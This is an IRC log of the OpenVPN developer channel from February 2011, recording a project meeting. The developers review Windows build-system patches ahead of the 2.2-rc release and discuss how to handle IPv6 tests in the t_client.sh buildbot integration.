#openvpn-devel 20:26 < Matchstick> Yes, I see "Developer meeting are held in #openvpn-devel at irc.freenode.net each Thursday at 18:00 UTC." 20:30 -!- Matchstick [~Matchstic@72.52.94.228] has quit [] 20:30 -!- Matchstick [~Matchstic@72.52.94.228] has joined #openvpn-devel 20:35 < Matchstick> I am curious to ask why state information when connecting the font so small. 20:40 <+ecrist> I don't understand? 20:40 <+ecrist> the font in IRC is set by your client, not by us. 20:43 < Matchstick> Sorry, I asked the OpenVPN. 21:09 -!- cron2_ [~gert@kirk.greenie.muc.de] has quit [Ping timeout: 246 seconds] 21:25 < Matchstick> No topic, or a problem with my mIRC? 21:28 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 21:53 < Essobi> your mirc 22:27 < Matchstick> I fainted, but why I can see you then? 22:59 -!- Matchstick [~Matchstic@72.52.94.228] has quit [] 23:00 -!- Matchstick [~Matchstic@72.52.94.228] has joined #openvpn-devel 23:11 -!- Matchstick [~Matchstic@72.52.94.228] has quit [Read error: Connection reset by peer] 23:18 -!- Matchstick [~Matchstic@114.249.194.190] has joined #openvpn-devel 23:18 < Matchstick> !meetings 23:18 <@vpnHelper> "meetings" is (#1) See https://community.openvpn.net/openvpn/wiki/IrcMeetings, or (#2) OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 23:21 -!- Matchstick [~Matchstic@114.249.194.190] has quit [Read error: Connection reset by peer] --- Day changed Thu Feb 17 2011 00:08 -!- d457k [~heiko@vpn.astaro.de] has quit [Read error: Operation timed out] 00:09 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 00:09 -!- mode/#openvpn-devel [+o d457k] by ChanServ 00:56 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:09 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:24 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 02:25 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 03:12 <@mattock> sent the "split ACK/NACK" mail to openvpn-devel 03:21 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Changing host] 03:21 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 03:21 -!- mode/#openvpn-devel [+o cron2] by ChanServ 03:30 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 03:30 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:30 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:49 <@mattock> should this ticket be closed: https://community.openvpn.net/openvpn/ticket/35 03:49 <@vpnHelper> Title: #35 (No magic limitation on socket size) – OpenVPN Community (at community.openvpn.net) 04:33 -!- janjust [~janjust@2001:610:120:e100:212:3fff:fe20:8d10] has joined #openvpn-devel 04:33 -!- janjust [~janjust@2001:610:120:e100:212:3fff:fe20:8d10] has quit [Changing host] 04:33 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:33 -!- mode/#openvpn-devel [+v janjust] by ChanServ 05:51 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 05:55 <@mattock> cron2: I integrated t_client.rc with buildbot now 05:55 <@mattock> any suggestions on how to solve the "these tests need to be run as root" issue? 05:55 <@mattock> besides running buildmaster as root, which is of course one option 06:18 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 06:23 <@mattock> actually, I'll try to run it as root, it should work ok 06:32 <@cron2> mattock: well, run the test with "sudo t_client.rc"... 06:33 <@mattock> I think there's no harm in running buildbot on buildslaves as root, so I'll try that 07:14 <@mattock> cron2: it would be good if t_client.sh could be made to skip IPv6 tests, e.g. with a command-line swithc 07:14 <@mattock> switch 07:15 <@mattock> none of the buildslaves have IPv6 connectivity, so buildbot will always claim that the tests have failed 07:15 <@mattock> even if IPv4 tests pass 07:18 <@mattock> besides that, t_client.sh + buildbot integration works 07:32 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 07:33 < andj> !meetings 07:33 <@vpnHelper> "meetings" is (#1) See https://community.openvpn.net/openvpn/wiki/IrcMeetings, or (#2) OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 07:33 <+ecrist> Thu Feb 17 13:33:53 UTC 2011 07:34 <+ecrist> ~4.5 hours, andj 07:34 < andj> Thanks :) 07:34 <+ecrist> date -u is handy 07:35 < andj> Hi everyone 07:35 < andj> Any news on the stability of the codebase in the git tree? 07:35 < andj> I'm looking forward to integrating the SSL and doxygen patches, but hadn't heard much through the mailinglists 07:36 < andj> So I though I'd check here 07:36 < andj> But I'll try to show up for the meeting this evening 07:37 <+ecrist> what do you mean? the code in git is pretty stable 07:38 < andj> I posted a couple of patches a month or two ago 07:39 * ecrist looks 07:39 < andj> and the comment then was to wait for the 2.2 release and some cleanup 07:39 < andj> for integration into the new tree 07:39 < andj> (SSL separation and doxygen) 07:39 <+ecrist> ah, we're hoping to release 2.2 RC this week. 07:40 <+ecrist> we're waiting on Samuli to finish the build patches for windows 07:40 < andj> ah, right... I'm working on the SSL patches from work, as part of a larger project here for OpenVPN. 07:40 < andj> So I need to plan ahead a little 07:41 < andj> that's why I had a question about the timing 07:41 < andj> Do you know what the plans are surrounding timing for 2.2 release and 2.3 development? 07:41 <+ecrist> ah, I'm guessing 2.2 will be released first week of march or so, provided we can get RC out this week. 07:42 <+ecrist> one that's rolled out, 2.3 dev will kick off. mostly folks are just waiting to get 2.2 out the door before we start doing anything major. 07:43 < andj> ok, I'm really looking forward to getting the patches integrated in 2.3, as maintaining a seperate set of patches isn't too much fun :) 07:43 < andj> Do you know anything about the security patch procedures by any chance? 07:44 < andj> Is there some way for maintainers of binary packages to get a heads up about incoming security patches or something similar? 07:45 <+ecrist> just hang out in IRC, right now. 07:46 <+ecrist> one of the things we're lacking is a good security notification protocol 07:46 < andj> I though the information on the wiki about the 3 week max duration, but nothing else 07:47 < andj> though = saw 07:48 < andj> last question: do you know what the longterm plans are for releases? 07:49 < andj> I remember hearing 2.3 at the end of this year? 07:49 <+ecrist> that's a broad question 07:49 < andj> I realise that, and it's a difficult question for an open source project :) 07:49 <+ecrist> we're looking to push out 2.3 late summer, my best guess, to include the IPv6 patches 07:49 <+ecrist> after that, dev on 3.0 will begin, which is going to be significant to better support plugins/etc 07:50 <+ecrist> 3.0 is likely going to be a near rewrite. 07:50 < andj> And a 2.4? 07:50 <+ecrist> there are no plans, currently, for a 2.4 07:50 < andj> ok, that's clear, thanks :) 07:50 <+ecrist> no problem. 07:53 < andj> One more question perhaps :) 07:53 <+ecrist> ask away 07:53 < andj> Last time I joined the IRC meeting people were pretty optimistic about the prospects of the SSL seperation patches being integrated into 2.3 07:54 < andj> Do you reckon that's still the case? 07:54 <+ecrist> I don't know anything about those patches, personally, but I have no reason to believe there has been a change of opinion. 07:55 <+ecrist> in other words, if there was optimism before, there is likely still the same optimism. 07:56 < andj> ok, thanks, I'll try to get online for the community meeting more often, it's just slightly ill-timed for me :) 07:56 <+ecrist> good, hope to see you here. :) 07:59 <@mattock> ecrist: correction, we're waiting for somebody else to ACK/NACK my patches :) 08:00 < Essobi> sup 08:00 <+ecrist> probably get that during the meeting today, mattock. 08:00 <@mattock> ...after which we could make 2.2-rc release 08:01 <@mattock> who's attending today? 08:01 <+ecrist> me 08:02 <@mattock> dazo asked if we could skip today's (and next week's) meeting, but we need to get the buildsystem (=BS) patches merged 08:02 <@mattock> so, if it takes a meeting, then it takes a meeting 08:02 <+ecrist> next weeks can be skipped if we can push out the RC today 08:04 <@cron2> just release 2.2 08:05 <@mattock> cron2: you mean 2.2 instead of 2.2-rc? or release 2.2-rc without getting the patches to git? 09:19 <@cron2> just release. anything. 09:19 * cron2 doesn't believe in releases anymore 09:23 <@mattock> I'm only pessimistic about getting the 13 patches merged without any modifications (=delay) 09:24 <@mattock> therefore I would have preferred to just release 2.2-rc last week and merge them later 09:25 <@mattock> on the bright side, next releases will be trivial 09:25 <@mattock> provided, of course, that we can get James to sign the installer without weeks of delay 09:26 <@mattock> and that he can provide updated, signed TAP-drivers without similar delay, when necessary 10:11 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:16 <@mattock> hmm, it seems my university network does not even support IPv6... 10:33 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:35 -!- psha [~psha@213.208.162.69] has quit [Client Quit] 10:50 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:55 < Essobi> mattock: that stinks. :\ 10:57 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 10:57 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:01 <@cron2> mattock: not uncommon, unfortunately. complain. 11:07 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has quit [Quit: leaving] 11:32 -!- s7r [~s7r@188.25.159.40] has joined #openvpn-devel 12:00 -!- s7r [~s7r@188.25.159.40] has quit [Ping timeout: 246 seconds] 12:01 <@mattock> cron2: I should, those guys are still using some ancient version of SunOS 12:02 <@mattock> jamesyonan: there? 12:02 <@jamesyonan> yes 12:02 <@mattock> excellent! 12:02 <@mattock> it's meeting time, dazo probably won't be here 12:02 <+ecrist> slacker 12:02 <@mattock> here's the topic list: https://community.openvpn.net/openvpn/wiki/Topics-2011-02-17 12:02 <@vpnHelper> Title: Topics-2011-02-17 – OpenVPN Community (at community.openvpn.net) 12:03 <@mattock> I suggest starting with my patchset 12:03 <@mattock> jamesyonan: in last week's meeting we decided not to release 2.2-rc until these patches are merged to beta2.2 branch: http://thread.gmane.org/gmane.network.openvpn.devel/4406 12:03 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 12:04 <@mattock> jamesyonan: have taken a look at those already? 12:05 <@mattock> or anybody else here, of course 12:06 <@jamesyonan> mattock: yes, I did look at them. The things I would like to see are (a) all build settings in one place (i.e. settings.in), (b) openvpn.exe can be built standalone, (c) autotools not required for windows build 12:06 <@mattock> jamesyonan: ok 12:06 <@jamesyonan> I noticed that you started to move more stuff from settings.in to version.m4 and I'm not sure that's a good idea 12:07 <@mattock> I think we reached that conclusion in an earlier meeting... to avoid duplication of configuration data 12:07 <@mattock> same with using config-win32.h instead of putting ENABLE_* stuff to settings.in 12:07 <@jamesyonan> version.m4 is exists so that the autoconf build system and the python build system can access version info in one place 12:09 <@mattock> what if I move back the few new variables from version.m4 to win/settings.in? 12:09 <@jamesyonan> also, I rely very much on build_exe.py, so I'm hoping that your changes don't affect the ability to run this script standalone 12:09 <@mattock> it should not 12:10 <@mattock> haven't done any modifications to it 12:10 <@jamesyonan> I also noticed that you are parsing config-win32.h 12:10 <@mattock> yep, that's true 12:10 <@jamesyonan> are you extracting build settings from it? 12:10 <@mattock> yep, the ENABLE_<FEATURE> stuff 12:10 <@mattock> so that it's not duplicated 12:11 <@jamesyonan> yeah, I'm not sure about that. I think settings should stay in settings.in. 12:12 <@jamesyonan> it's simpler if the build is driven by one config file 12:12 <@mattock> fine with me, reduces complexity... I believe dazo preferred to avoid data duplication, hence the config-win32.h parsing code 12:12 <@mattock> agreed 12:13 <@mattock> besides these issues was the patchset ok? 12:13 <@jamesyonan> I would rather have all the settings in settings.in, and then if necessary, dynamically generate a .h file to communicate those settings to C 12:14 <@jamesyonan> I haven't tested it, but overall it looks fine 12:14 <@mattock> ok, excellent! 12:15 <@mattock> so the patchset get your ACK if I do a few modifications: 12:15 <@mattock> - move stuff from version.m4 to win/settings.in 12:15 <@mattock> - remove config-win32.h parser code 12:15 <@mattock> - put config-win32.h ENABLE_* statements to win/settings.in 12:15 <@mattock> right? 12:18 <@mattock> cron2: what about the IPv4/IPv6 split in t_client.sh? 12:19 < psha> mattock: many testing systems have not only passed/failed for tests 12:19 < psha> but also 'skipped' 12:19 < psha> which is not error 12:19 < psha> so maybe make something like this for ipv6? 12:20 <@mattock> psha: good point... maybe check for "fping6" and skip tests if it's not available? 12:20 < psha> if ipv6 is available on host - test it, if not - skip without raising error 12:20 <@jamesyonan> I wouldn't eliminate version.m4 because the autoconf build system still needs it, but I would remove anything else that does not need to be shared between the autoconf and python build systems 12:20 <@mattock> jamesyonan: yes, that was what I meant... moving back the variables to win/settings.in 12:21 <@mattock> cron2: could you add some ipv6 support tests to t_client.sh? 12:23 < psha> mattock: fping6 is not right test 12:23 <@mattock> jamesyonan: ACK with modifications? 12:23 <@jamesyonan> ack 12:23 < psha> i'd check for something like 'ip -6 ro' 12:24 < psha> or similar 12:24 <@mattock> psha: BSDs? 12:24 < psha> netstat -r 12:24 < psha> netstat -r6 12:24 <@mattock> jamesyonan: good! we can release 2.2-rc tomorrow or on monday at latest 12:25 < psha> netstat -r -f inet6 12:25 < psha> for BSD 12:25 < psha> for linux -r6 12:25 < psha> or ip -6 ro 12:25 <@mattock> jamesyonan: I'll be sending you my Windows installer a.s.a.p. for signing 12:26 < psha> for windows 'not available' ;) 12:26 <@mattock> psha: quite a few options :) 12:26 < psha> also instead of fping6 i guess 'ping6' is more common program 12:27 <@mattock> psha: could be, not sure why fping* is used 12:27 < psha> it's a form of advanced pin as i understand 12:28 <@mattock> ok 12:28 <@mattock> jamesyonan: thanks for reviewing the patchset, much appreciated! 12:28 <@mattock> anything else, people? 12:28 <@mattock> topic list is exhausted already, in record time :) 12:29 < psha> mattock: ifconfig | grep -q inet6 12:29 < psha> :) 12:29 < psha> working on both bsd and linux 12:29 <@mattock> psha: that might not be all that bad, actually 12:30 <@mattock> anybody read my split-ACK mail on openvpn-devel? 12:32 < psha> i've read but don't understand anything ;) 12:34 * cron2 is back 12:35 <@mattock> psha: ok, perhaps too high-level brainstorming :) 12:35 <@cron2> mattock: t_client.sh tests what *YOU* tell it to test. Don't put ipv6 stuff in t_client.rc, then it's not going to do IPv6 12:35 <@mattock> cron2: ah, excellent! did not realize that 12:35 <@mattock> then we don't have an issue :) 12:36 <@cron2> but much better: just install fping6 - whether or not the client has IPv6 "natively" doesn't matter for the tunnel tests - if OpenVPN is up, and the openvpn+ipv6 works, the system *has* IPv6 as soon as openvpn is running 12:36 <@cron2> psha: wrong approach 12:36 <@cron2> psha: the point is not "is there ipv6 in the system before openvpn runs" but "is ipv6 across the tunnel working *while* openvpn runs" 12:37 <@mattock> so ipv6 payload 12:37 <@mattock> over ipv4 transport 12:37 <@cron2> fping6 is used instead of ping6 because it's much more sane across platforms - no ping6 program on solaris, weird output and/or return codes on other platforms 12:38 <@cron2> mattock: over whatever transport you configure in t_client.rc - but right now, only v4 transport, as the test host doesn't have v6 in DNS 12:38 < psha> cron2: maybe :) actualy i've not seen t_client.sh - just suggested what's going on other test systems 12:38 <@mattock> cron2: thanks for the clarifications! 12:38 <@cron2> standardizing on fping/fping6 means "well-known and well-defined return codes" 12:39 <@mattock> I'll fix the buildbot + t_client.rc issue tomorrow 12:39 <@cron2> psha: it's pretty trivial - read config file, foreach($test_stanza) { start openvpn; test predefined ipv4 ping hosts ; test predefined ipv6 ping hosts ; } 12:39 <@mattock> cron2: I sent mail to Coverity today 12:39 <@mattock> no response yet 12:40 <@cron2> mattock: ah, looking forward to that :-) 12:40 <@mattock> asked for user accounts for you guys 12:40 <@mattock> and also that they update the codebase they're tracking 12:40 <@mattock> hope they're not "turned off" by the corporate aspect of OpenVPN 12:41 <@mattock> their "Coverity Scan" FAQ is somewhat vague in that regard 12:41 <@cron2> mattock: if you know that a certain client is broken wrt IPv6, just unset the EXPECT_IFCONFIG6_<n>=... definition and PING6_HOSTS_<n>=... definition from t_client.rc (for that buildslave) 12:42 <@cron2> since t_client.rc is actually a shell script, you could have switch/case statements *in* there (if [ "$thishost" = "slave5" ] ; then EXPECT_IFCONFIG6_3='' ; fi # known broken) 12:42 <@mattock> for now I'll disable IPv6 tests, but look into fixing them later 12:43 <@cron2> having IPv4 tests is at least a good baseline for "the compile went right, networking bits are working, packets are flowing", yes 12:44 <@mattock> agreed 12:44 <@mattock> cron2: do you have access to the community VPN? 12:45 <@cron2> I'm not sure - I think you sent me some bits some long time ago, but I've never setup & configured anything yet 12:45 <@mattock> ok, let me know if you need those bits again :) 12:45 <@mattock> buildbot lives at http://10.7.36.101:8010/ 12:45 <@cron2> will check, and see what I find in my mail heap :) 12:46 <@mattock> I have not configured it to mail to openvpn-build, because I've had to switch off the buildslaves constantly due to my Windows work 12:46 <@mattock> (time to buy some extra RAM for the server) 12:46 <@cron2> do we need collect donations? 12:47 * cron2 has some 32MB SIMMs lying in the basement 12:47 <@mattock> excellent! then it's 2048 + 32MB :) 12:47 <@mattock> significant improvement 12:47 <@cron2> that should do for one linux buildslave extra :) 12:48 <@mattock> default Debian install seems to be happy with 128MB 12:48 <@mattock> Ubuntu 10.04 complains with the same amount 12:48 <@mattock> so, they're memory hogs compared to OpenBSD or something 12:48 <@cron2> for all that graphics fanciness you need lotsa RAM! 12:49 <@mattock> hmm, actually just the console... but not sure how much lower they could go. Ubuntu may have had some crap running that eats memory 12:49 <@mattock> anyways, unless there's something else, let's call this a day! 12:50 <@cron2> short meeting then :-) - enjoy your evenings (or day time) 12:50 <@mattock> btw. I asked dazo to merge my buildsystem patches (with tomorrow's modifications) during weekend 12:50 <@cron2> great 12:50 <@mattock> if he has time, then 2.2-rc release would be Mon-Tue? 12:51 <@mattock> jamesyonan: got time to sign the windows installer, tarballs etc. on Monday/Tuesday? 12:51 <@jamesyonan> yes 12:51 <+ecrist> w00t 12:51 <@mattock> nice! 12:51 <@mattock> I fear the 2.2-rc release is imminent, then! 12:52 <@mattock> I'll write the summary tomorrow 12:52 <@mattock> see you later! 15:30 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 15:46 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 15:46 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:47 <+krzee> [03:55] <mattock> any suggestions on how to solve the "these tests need to be run as root" issue? 15:47 <+krzee> [03:55] <mattock> besides running buildmaster as root, which is of course one option 15:47 <+krzee> suggestion: correctly using sudo 15:47 <+krzee> you should be able to give it access to only do the things it needs to do 15:47 <+krzee> without full root 15:47 <+krzee> sorry if that was suggested within the 10 hours i missed 16:21 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 17:20 <+krzee> dazo_afk, which book from packt are you going to choose? i went with the freeswitch book here: https://www.packtpub.com/freeswitch-1-0-6-build-robust-high-performance-telephony-systems/book 17:20 <@vpnHelper> Title: FreeSWITCH 1.0.6 Book & eBook | Packt Publishing Technical & IT Book Store (at www.packtpub.com) 17:34 <+ecrist> krzee: fwiw I'm running freeswitch git-head in production now 17:34 <+ecrist> there was an odd nat option disabled by default between 1.0.6 and now, which took me a few days to troubleshoot, but we got it. 17:36 <+ecrist> also, krzee, I'm still plugging away at ssl-admin cli options. 17:43 <+krzee> sweet! 17:46 <+ecrist> http://pastebin.com/N55NGS7V 18:02 <+ecrist> this damn script is a mess 19:08 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 21:01 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 21:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Feb 18 2011 01:25 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:34 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:37 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 03:38 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has quit [Client Quit] 03:38 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 03:39 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has quit [Client Quit] 03:42 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 03:45 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has left #openvpn-devel ["Leaving."] 03:51 -!- alejandro [~alejandro@adsl-76-230-238-127.dsl.pltn13.sbcglobal.net] has joined #openvpn-devel 03:55 -!- alejandro [~alejandro@adsl-76-230-238-127.dsl.pltn13.sbcglobal.net] has left #openvpn-devel [] 03:56 -!- janjust [~janjust@2001:610:120:e100:212:3fff:fe20:8d10] has joined #openvpn-devel 03:56 -!- janjust [~janjust@2001:610:120:e100:212:3fff:fe20:8d10] has quit [Changing host] 03:56 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 03:56 -!- mode/#openvpn-devel [+v janjust] by ChanServ 04:21 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 04:26 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has left #openvpn-devel ["Leaving."] 04:27 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 04:27 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has left #openvpn-devel ["Leaving."] 04:27 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 04:32 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has left #openvpn-devel ["Leaving."] 04:32 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 04:34 -!- andj__ [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 04:34 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has left #openvpn-devel ["Leaving."] 04:35 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 04:35 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has left #openvpn-devel ["Leaving."] 04:38 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 04:40 <+janjust> sorry for posting in dutch, but : heeft adriaan het een beetje heen en weer ;-) ? 04:40 < andj> I'm having a bit of a row with my IRC client 04:40 < andj> sorry :p 04:40 < andj__> Seems I'm still connected at home 04:41 <+janjust> heeh no prob, but it's so quiet here that anybody who is walking in and out of the room so often is waking me up ;-) 04:41 <+janjust> you seem connected via your ziggo home address, yes 04:42 < andj> correction: I always seem connected from home, but that's just down to proxies 04:42 <+janjust> yep: I'm connected via an SSH SOCKS tunnel mostly 04:43 < andj> similar story. Trouble is, I've got a bouncer that's giving me trouble in the mix 04:44 <+janjust> bouncer? = uitsmijter? you're making me hungry :-P 04:44 -!- andj__ [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has quit [Quit: leaving] 04:44 < andj> There we go :) 04:45 < andj> that's better, back to work :) 04:45 < andj> sorry for the spam, I think I've fixed my setup now 04:45 <+janjust> np, I'll go back to sleep 04:48 -!- dazo_afk is now known as dazo 05:27 -!- Dark-Fx [~bamcpher@dark-fx.com] has quit [Read error: Operation timed out] 05:28 -!- Dark-Fx [~bamcpher@dark-fx.com] has joined #openvpn-devel 06:03 -!- s7r [~s7r@AC815439.ipt.aol.com] has joined #openvpn-devel 08:32 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 08:50 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 08:50 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 10:11 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 11:03 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Ping timeout: 276 seconds] 11:30 -!- dazo is now known as dazo_afk 12:22 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 12:24 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 14:14 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Ping timeout: 240 seconds] 15:27 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 15:45 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Read error: Operation timed out] 16:55 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 16:55 -!- raidz [~Andrew@seance.openvpn.org] has quit [Changing host] 16:55 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:55 -!- mode/#openvpn-devel [+o raidz] by ChanServ 17:31 -!- Netsplit *.net <-> *.split quits: Dark-Fx 17:32 -!- Netsplit over, joins: Dark-Fx 19:49 -!- s7r [~s7r@AC815439.ipt.aol.com] has left #openvpn-devel [] 20:42 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 22:00 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 240 seconds] 22:03 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 22:39 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 240 seconds] 22:46 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 22:46 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 240 seconds] 22:47 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel --- Day changed Sat Feb 19 2011 02:11 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:11 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:50 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 03:50 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:26 <@vpnHelper> RSS Update - tickets: #87: OpenVPN continue work with invalid socket <https://community.openvpn.net/openvpn/ticket/87> 06:43 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 06:46 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Ping timeout: 246 seconds] 07:19 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 07:19 -!- helmut [helmut@subdivi.de] has quit [Remote host closed the connection] 08:49 -!- s7r [~s7r@ACBE6E8E.ipt.aol.com] has joined #openvpn-devel 10:52 -!- andj is now known as andj_afk 13:13 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:27 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 13:27 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:43 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:01 -!- s7r [~s7r@ACBE6E8E.ipt.aol.com] has quit [Changing host] 16:01 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 17:02 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 17:52 -!- andj_afk is now known as andj 17:52 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 23:10 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 23:10 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 23:10 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 23:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Feb 20 2011 00:05 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 00:41 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:29 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 01:29 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 01:29 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 01:29 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:49 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 03:50 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 03:59 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 04:42 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 12:10 -!- cyberroadie [~cyberroad@184-106-222-37.static.cloud-ips.com] has joined #openvpn-devel 13:58 -!- andj is now known as andj_afk 15:04 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 15:09 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 15:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:28 -!- andj_afk is now known as andj 15:36 -!- andj is now known as andj_afk 15:52 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 15:54 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:51 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 23:03 -!- kisom [~x@c-d0dde155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 260 seconds] --- Day changed Mon Feb 21 2011 00:31 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 00:39 -!- andj_afk is now known as andj 01:03 -!- andj is now known as andj_afk 02:43 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:43 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:07 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 